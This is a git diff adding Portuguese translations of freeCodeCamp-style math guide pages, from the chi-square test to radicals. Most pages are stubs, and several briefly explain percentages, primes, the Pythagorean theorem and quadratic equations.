diff --git a/client/src/guide/portuguese/mathematics/pearsons-chi-square-test/index.md b/client/src/guide/portuguese/mathematics/pearsons-chi-square-test/index.md
new file mode 100644
index 0000000000..aef694b13a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/pearsons-chi-square-test/index.md
@@ -0,0 +1,11 @@
+---
+title: Pearsons Chi Square Test
+localeTitle: Teste Quadrado de Pearson
+---
+## Teste Quadrado de Pearson
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pearsons-chi-square-test/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/percent-of-a-whole-number/index.md b/client/src/guide/portuguese/mathematics/percent-of-a-whole-number/index.md
new file mode 100644
index 0000000000..058e8e28d6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/percent-of-a-whole-number/index.md
@@ -0,0 +1,11 @@
+---
+title: Percent of a Whole Number
+localeTitle: Porcentagem de um número inteiro
+---
+## Porcentagem de um número inteiro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/percent-of-a-whole-number/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/percentage-change/index.md b/client/src/guide/portuguese/mathematics/percentage-change/index.md
new file mode 100644
index 0000000000..0c2eb923b1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/percentage-change/index.md
@@ -0,0 +1,25 @@
+---
+title: Percentage Change
+localeTitle: Alteração percentual
+---
+## Alteração percentual
+
+Subtraia o antigo do novo e divida pelo valor antigo. Mostre isso como uma porcentagem.
+```
+        (New Value − Old Value)/|Old Value| × 100% 
+        (The "|" symbols mean absolute value, so negatives become positive) 
+```
+
+Exemplo: havia 200 clientes ontem e 240 hoje:
+```
+         (240 − 200)/|200| × 100% =  40/200 × 100% = 20% 
+                A 20% increase. 
+```
+
+Exemplo: mas se houvesse 240 clientes ontem e 200 hoje, teríamos:
+```
+          (200 − 240)/|240| × 100% =   −40/240 × 100% = −16.6...% 
+                A 16.6...% decrease. 
+```
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/percentage-difference/index.md b/client/src/guide/portuguese/mathematics/percentage-difference/index.md
new file mode 100644
index 0000000000..cf6ec61865
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/percentage-difference/index.md
@@ -0,0 +1,41 @@
+---
+title: Percentage Difference
+localeTitle: Diferença percentual
+---
+## Diferença percentual
+
+A diferença entre dois valores divididos pela média dos dois valores. Mostrado como uma porcentagem.
+
+Diferença significa subtrair um valor do outro:
+
+Exemplo: Alex vendeu 15 ingressos e Sam vendeu 25 A diferença entre 25 e 15 é: 25 - 15 = 10
+
+Média é o valor intermediário entre:
+```
+   average =  (first value + second value)/2 
+```
+
+Exemplo continuado:
+```
+    The average of 25 and 15 is: (25 + 15) / 2 = 40/2 = 20 
+    And then the difference as a Percentage of the average: 
+```
+
+Exemplo continuado:
+```
+    Difference is 25 − 15 = 10 
+    Average is (25 + 15) / 2 = 20 
+ 
+    10 as a percentage of 20 is: 
+    10/20  × 100% = 50% 
+ 
+    The percentage difference between 25 and 15 is 50% 
+```
+
+Aqui está a resposta, em uma linha:
+```
+    Example continued 
+    (25 − 15)/((25 + 15)/2)  × 100% = 50% 
+```
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/percentage-error/index.md b/client/src/guide/portuguese/mathematics/percentage-error/index.md
new file mode 100644
index 0000000000..b3660c466f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/percentage-error/index.md
@@ -0,0 +1,25 @@
+---
+title: Percentage Error
+localeTitle: Erro percentual
+---
+## Erro percentual
+
+A diferença entre valores aproximados e exatos, como uma porcentagem do valor exato.
+```
+         (|Approximate Value − Exact Value|)/|Exact Value| * 100% 
+       (The "|" symbols mean absolute value, so negatives become positive) 
+```
+
+Exemplo: eu pensei que 70 pessoas compareceriam ao show, mas na verdade 80 o fizeram!
+```
+        (|70 − 80|)/|80|    × 100% =  10/80 × 100% = 12.5% 
+          I was in error by 12.5% 
+```
+
+Exemplo: O relatório dizia que o estacionamento comportava 240 carros, mas contávamos apenas 200 vagas de estacionamento.
+```
+        (|240 − 200|)/|200|    × 100% =  40200 × 100% = 20% 
+          The report had a 20% error. 
+```
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/perimeter-area-and-volume/index.md b/client/src/guide/portuguese/mathematics/perimeter-area-and-volume/index.md
new file mode 100644
index 0000000000..cac31e5b6f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/perimeter-area-and-volume/index.md
@@ -0,0 +1,11 @@
+---
+title: Perimeter Area and Volume
+localeTitle: Área e Volume do Perímetro
+---
+## Área e Volume do Perímetro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/perimeter-area-and-volume/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/perimeter/index.md b/client/src/guide/portuguese/mathematics/perimeter/index.md
new file mode 100644
index 0000000000..3a3d102af2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/perimeter/index.md
@@ -0,0 +1,11 @@
+---
+title: Perimeter
+localeTitle: Perímetro
+---
+## Perímetro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/perimeter/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/permutation-formula/index.md b/client/src/guide/portuguese/mathematics/permutation-formula/index.md
new file mode 100644
index 0000000000..24aa810b29
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/permutation-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Permutation Formula
+localeTitle: Fórmula de Permutação
+---
+## Fórmula de Permutação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/permutation-formula/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/pi/index.md b/client/src/guide/portuguese/mathematics/pi/index.md
new file mode 100644
index 0000000000..c4732085e3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/pi/index.md
@@ -0,0 +1,11 @@
+---
+title: PI
+localeTitle: PI
+---
+## PI
+
+`PI = 𝜋 = 3.14159265359`
+
+PI é uma constante matemática cujo valor é aproximadamente igual a 3,14159265359. É definido como a `ratio of circumference of a circle to its diameter` . O PI é representado por uma letra grega `𝜋` e é amplamente utilizado em Física e Matemática.
+
+A relação 𝜋 = circunferência / diâmetro permanece sempre a mesma, independentemente do tamanho de um círculo. Por exemplo, mesmo se pegarmos um novo círculo de duas vezes o diâmetro de um círculo anterior, a circunferência desse novo círculo será exatamente o dobro da anterior, preservando o valor de 𝜋 para ser constante.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/point-slope-equation-of-a-line/index.md b/client/src/guide/portuguese/mathematics/point-slope-equation-of-a-line/index.md
new file mode 100644
index 0000000000..7c6c275dfd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/point-slope-equation-of-a-line/index.md
@@ -0,0 +1,23 @@
+---
+title: Point Slope Equation of a Line
+localeTitle: Equação de Inclinação de Ponto de uma Linha
+---
+## Equação de Inclinação de Ponto de uma Linha
+
+O ponto-declive é a forma geral y-y₁ = m (x-x₁) para equações lineares.
+
+Ele enfatiza a inclinação da linha e um ponto na linha (que não é a interceptação de y).
+
+![equação de declive de pontos](https://www.mathsisfun.com/data/images/graph-point-slope-a.gif)
+
+## Derivação
+
+Quaisquer dois pontos na linha A (x, y) e B (x₁, y₁) estarão sempre no mesmo declive. A é considerado um ponto arbitrário na mesma linha. 'm' é definido como a inclinação da linha e a tangente do ângulo que a linha faz com o eixo x positivo. Inclinação de uma linha entre dois pontos é dada por:
+
+m = (y - y₁) / (x - x₁)
+
+para este caso, onde m é a inclinação da linha simplificando ficamos y-y₁ = m (x-x₁)
+
+#### Mais Informações:
+
+\- [Khan Academy: equação de inclinação de pontos](https://www.khanacademy.org/math/algebra/two-var-linear-equations/point-slope/v/idea-behind-point-slope-form)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/polar-and-cartesian-coordinates/index.md b/client/src/guide/portuguese/mathematics/polar-and-cartesian-coordinates/index.md
new file mode 100644
index 0000000000..2208e80f69
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/polar-and-cartesian-coordinates/index.md
@@ -0,0 +1,11 @@
+---
+title: Polar and Cartesian Coordinates
+localeTitle: Coordenadas polares e cartesianas
+---
+## Coordenadas polares e cartesianas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polar-and-cartesian-coordinates/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/polar-coordinates/index.md b/client/src/guide/portuguese/mathematics/polar-coordinates/index.md
new file mode 100644
index 0000000000..50e17910c8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/polar-coordinates/index.md
@@ -0,0 +1,11 @@
+---
+title: Polar Coordinates
+localeTitle: Coordenadas Polares
+---
+## Coordenadas Polares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polar-coordinates/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/polygons/index.md b/client/src/guide/portuguese/mathematics/polygons/index.md
new file mode 100644
index 0000000000..f9d6c52632
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/polygons/index.md
@@ -0,0 +1,11 @@
+---
+title: Polygons
+localeTitle: Polígonos
+---
+## Polígonos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polygons/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/polynomial-graphs-end-behavior/index.md b/client/src/guide/portuguese/mathematics/polynomial-graphs-end-behavior/index.md
new file mode 100644
index 0000000000..aff2c5c4d6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/polynomial-graphs-end-behavior/index.md
@@ -0,0 +1,11 @@
+---
+title: Polynomial Graphs End Behavior
+localeTitle: Comportamento final dos gráficos polinomiais
+---
+## Comportamento final dos gráficos polinomiais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polynomial-graphs-end-behavior/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/polynomials-long-division/index.md b/client/src/guide/portuguese/mathematics/polynomials-long-division/index.md
new file mode 100644
index 0000000000..34873a7efd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/polynomials-long-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Polynomials Long Division
+localeTitle: Polinômios Long Division
+---
+## Polinômios Long Division
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/polynomials-long-division/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/prime-factorization/index.md b/client/src/guide/portuguese/mathematics/prime-factorization/index.md
new file mode 100644
index 0000000000..b555b0a4bf
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/prime-factorization/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Factorization
+localeTitle: Fatoração Prima
+---
+## Fatoração Prima
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/prime-factorization/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/prime-number-list/index.md b/client/src/guide/portuguese/mathematics/prime-number-list/index.md
new file mode 100644
index 0000000000..f1be3c4744
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/prime-number-list/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Number List
+localeTitle: Lista de números primos
+---
+## Lista de números primos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/prime-number-list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/prime-numbers/index.md b/client/src/guide/portuguese/mathematics/prime-numbers/index.md
new file mode 100644
index 0000000000..4a287abf99
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/prime-numbers/index.md
@@ -0,0 +1,15 @@
+---
+title: Prime Numbers
+localeTitle: Números primos
+---
+## Números primos
+
+Um número primo é qualquer número maior que 1 que só pode ser dividido por 1 ou por si mesmo. Se pode ser dividido por outro número, então é um número composto.
+
+Exemplos:
+
+5 é um número primo porque só pode ser dividido igualmente por si mesmo (5) e 1.
+
+12 não é um número primo, pois pode ser dividido igualmente por 1, 2, 3, 4, 6 e 12.
+
+Os primeiros dez números primos são: 2, 3, 5, 7, 11, 13, 17, 19, 23 e 29.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/probability/index.md b/client/src/guide/portuguese/mathematics/probability/index.md
new file mode 100644
index 0000000000..e7f1a48346
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/probability/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability
+localeTitle: Probabilidade
+---
+## Probabilidade
+
+A probabilidade de um evento é a chance de um evento ocorrer.
+
+As probabilidades geralmente variam de 0 a 1, com 0 indicando que um evento nunca acontecerá e 1 que um evento acontecerá com certeza.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/product-rule-intro/index.md b/client/src/guide/portuguese/mathematics/product-rule-intro/index.md
new file mode 100644
index 0000000000..3a33c4eaaf
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/product-rule-intro/index.md
@@ -0,0 +1,11 @@
+---
+title: Product Rule Intro
+localeTitle: Introdução à regra do produto
+---
+## Introdução à regra do produto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/product-rule-intro/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md b/client/src/guide/portuguese/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md
new file mode 100644
index 0000000000..e1104342a8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md
@@ -0,0 +1,11 @@
+---
+title: Proof of Finite Arithmetic Series Formula by Induction
+localeTitle: Prova da Fórmula da Série Aritmética Finita por Indução
+---
+## Prova da Fórmula da Série Aritmética Finita por Indução
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/proof-of-finite-arithmetic-series-formula-by-induction/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md b/client/src/guide/portuguese/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md
new file mode 100644
index 0000000000..76ebe422ed
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md
@@ -0,0 +1,11 @@
+---
+title: Properties of Rhombuses Rectangles and Squares
+localeTitle: Propriedades de Rhombuses Retângulos e Quadrados
+---
+## Propriedades de Rhombuses Retângulos e Quadrados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/properties-of-rhombuses-rectangles-and-squares/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/propositional-logic/index.md b/client/src/guide/portuguese/mathematics/propositional-logic/index.md
new file mode 100644
index 0000000000..66c57edda7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/propositional-logic/index.md
@@ -0,0 +1,11 @@
+---
+title: Propositional Logic
+localeTitle: Lógica proposicional
+---
+## Introdução à lógica proposicional
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/propositional-logic/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/proving-trigonometric-identities/index.md b/client/src/guide/portuguese/mathematics/proving-trigonometric-identities/index.md
new file mode 100644
index 0000000000..7d0fcacdbb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/proving-trigonometric-identities/index.md
@@ -0,0 +1,11 @@
+---
+title: Proving Trigonometric Identities
+localeTitle: Provando Identidades Trigonométricas
+---
+## Provando Identidades Trigonométricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/proving-trigonometric-identities/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/pyramids/index.md b/client/src/guide/portuguese/mathematics/pyramids/index.md
new file mode 100644
index 0000000000..8ede9e3e2a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/pyramids/index.md
@@ -0,0 +1,11 @@
+---
+title: Pyramids
+localeTitle: Pirâmides
+---
+## Pirâmides
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pyramids/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/pythagorean-theorem/index.md b/client/src/guide/portuguese/mathematics/pythagorean-theorem/index.md
new file mode 100644
index 0000000000..71a1939497
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/pythagorean-theorem/index.md
@@ -0,0 +1,19 @@
+---
+title: Pythagorean Theorem
+localeTitle: Teorema de Pitágoras
+---
+## Teorema de Pitágoras
+
+O Teorema de Pitágoras relaciona os três lados de um triângulo retângulo. Um triângulo retângulo é um triângulo no qual um dos ângulos é um ângulo reto (um ângulo de 90 graus). O lado do triângulo que é oposto ao ângulo direito é chamado de hipotenusa. Qualquer um dos outros dois lados pode ser chamado de 'base' (b) e 'perpendicular / altura (a)'. O ângulo oposto à base (b) é denotado por 'B' e o oposto a perpendicular 'A'. Por isso, o ângulo C é de 90 graus e é conhecido como triângulo retângulo.
+
+Um triângulo retângulo só pode ser isósceles ou escalar. Nunca equilateral.
+
+Seja c o comprimento da hipotenusa, aeb o comprimento dos outros lados.
+
+O teorema afirma:
+
+c 2 = a 2 + b 2
+
+Sempre que você recebe dois lados de um triângulo retângulo, você pode calcular o terceiro usando o Teorema de Pitágoras.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/pythagorean-triples/index.md b/client/src/guide/portuguese/mathematics/pythagorean-triples/index.md
new file mode 100644
index 0000000000..6292d4e044
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/pythagorean-triples/index.md
@@ -0,0 +1,11 @@
+---
+title: Pythagorean Triples
+localeTitle: Tritões Pitagóricos
+---
+## Tritões Pitagóricos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/pythagorean-triples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/quadratic-equation-solver/index.md b/client/src/guide/portuguese/mathematics/quadratic-equation-solver/index.md
new file mode 100644
index 0000000000..ddb03f2853
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/quadratic-equation-solver/index.md
@@ -0,0 +1,11 @@
+---
+title: Quadratic Equation Solver
+localeTitle: Solucionador de Equação Quadrática
+---
+## Solucionador de Equação Quadrática
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equation-solver/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/quadratic-equations/index.md b/client/src/guide/portuguese/mathematics/quadratic-equations/index.md
new file mode 100644
index 0000000000..86abb68a9b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/quadratic-equations/index.md
@@ -0,0 +1,52 @@
+---
+title: Quadratic Equations
+localeTitle: Equações Quadráticas
+---
+## Equações Quadráticas
+
+_Uma equação quadrática_ é uma função polinomial de grau 2, igual a 0 ou uma constante.
+
+A equação pai para uma função quadrática é **ax ^ 2 + bx + c = 0** onde x é variável e a, b e c são constantes reais.
+
+*   'a' determina quão ampla ou estreita é a função.
+    
+*   Se | a | é maior que 1, a parábola será estreita.
+    
+*   Se | a | é menor que 1, a parábola será mais larga.
+    
+*   Raízes de qualquer função são os valores do (s) parâmetro (s) onde a função é igual a zero. Raízes de uma equação quadrática (função na verdade) são o valor da variável (aqui é 'x' desde que a equação que tomamos é quadrática em 'x') que satisfaz a equação para um dado conjunto de constantes (aqui -> a , b, c).
+    
+*   Cada equação quadrática **ax ^ 2 + bx + c = 0** pode ser expressa como **(xp) (xq) = 0** onde p e q serão as raízes da dada equação quadrática. Essas raízes podem ou não ser reais por natureza.
+    
+*   Funções quadráticas criam uma parábola, também conhecida como forma 'u'.
+    
+*   O vértice de uma função quadrática é o ponto de virada no qual o gráfico se reflete (daí o vértice também relacionado ao 'eixo de simetria', a linha na qual uma função quadrática reflete).
+    
+*   Os valores de x onde o gráfico de **y = ax ^ 2 + bx + c** toca o eixo x são as raízes da equação quadrática **ax ^ 2 + bx + c = 0** .
+    
+
+## ROOTS
+
+Um quadrático sempre tem 2 raízes. Caso a função quadrática represente um quadrado perfeito, diz-se que ambas as raízes têm o mesmo valor (dizendo que há apenas uma raiz errada, já que uma equação quadrática tem que ter duas raízes). A natureza e o valor das raízes podem ser calculados usando o conjunto de constantes associadas a elas.
+
+### Natureza das raízes
+
+Como dito anteriormente, as raízes de uma equação quadrática nem sempre são reais. A natureza das raízes pode ser determinada facilmente calculando o valor de D que é dado por b ^ 2-4ac
+
+**D = b ^ 2-4ac**
+
+*   Se D> 0, ambas as raízes serão reais na natureza.
+*   Se D == 0, ambas as raízes serão reais e iguais na natureza.
+*   Se D <0, ambas as raízes serão imaginárias por natureza (nenhum valor real de x satisfará a equação)
+
+Pode ser facilmente observado que os valores das raízes são iguais apenas quando D == 0, mas a natureza das raízes é sempre a mesma para ambas as raízes.
+
+### Valor das Raízes
+
+Deixe as raízes do **machado ^ 2 + bx + c = 0** serem p e q, então
+
+p = (-b + sqrt (D)) / 2a
+
+q = (-b - sqrt (D)) / 2a
+
+*   A equação tem raízes imaginárias, elas sempre serão encontradas em pares conjugados. Por exemplo, se você sabe que uma das raízes é 2 + 3i, então você pode determinar diretamente a outra raiz como 2-3i apenas mudando o sinal entre a parte real e imaginária do valor. (Isso pode ser inferido a partir da fórmula de calcular o valor das raízes).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md b/client/src/guide/portuguese/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md
new file mode 100644
index 0000000000..65dca4d210
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md
@@ -0,0 +1,11 @@
+---
+title: Quadrilaterals Square Rectangle Rhombus Trapezoid Parallelogram
+localeTitle: Quadrilátero Quadrado Retângulo Rhombus Trapézio Paralelogramo
+---
+## Quadrilátero Quadrado Retângulo Rhombus Trapézio Paralelogramo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadrilaterals-square-rectangle-rhombus-trapezoid-parallelogram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/quartiles/index.md b/client/src/guide/portuguese/mathematics/quartiles/index.md
new file mode 100644
index 0000000000..6ca3827f9c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/quartiles/index.md
@@ -0,0 +1,11 @@
+---
+title: Quartiles
+localeTitle: Quartis
+---
+## Quartis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quartiles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/radians-to-degrees/index.md b/client/src/guide/portuguese/mathematics/radians-to-degrees/index.md
new file mode 100644
index 0000000000..0f505283c3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/radians-to-degrees/index.md
@@ -0,0 +1,19 @@
+---
+title: Radians to Degrees
+localeTitle: Radianos para graus
+---
+## Radianos para graus
+
+Um ciclo completo = 2π Radianos = 360 graus
+
+1 Radianos = 360 / 2π grau
+
+p Radianos = p × 360 / 2π grau
+
+### Exemplos:
+
+2 radianos = 2 \* 180 / π graus
+
+2,5 Radianos = 2,5 \* 180 / π graus
+
+0,3 radiano = 0,3 \* 180 / π graus
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/radians/index.md b/client/src/guide/portuguese/mathematics/radians/index.md
new file mode 100644
index 0000000000..d30e84f877
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/radians/index.md
@@ -0,0 +1,11 @@
+---
+title: Radians
+localeTitle: Radianos
+---
+## Radianos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radians/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/radicals-introduction-and-simplification/index.md b/client/src/guide/portuguese/mathematics/radicals-introduction-and-simplification/index.md
new file mode 100644
index 0000000000..8f95db77ef
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/radicals-introduction-and-simplification/index.md
@@ -0,0 +1,11 @@
+---
+title: Radicals Introduction and Simplification
+localeTitle: Introdução e simplificação de radicais
+---
+## Introdução e simplificação de radicais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/radicals-introduction-and-simplification/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
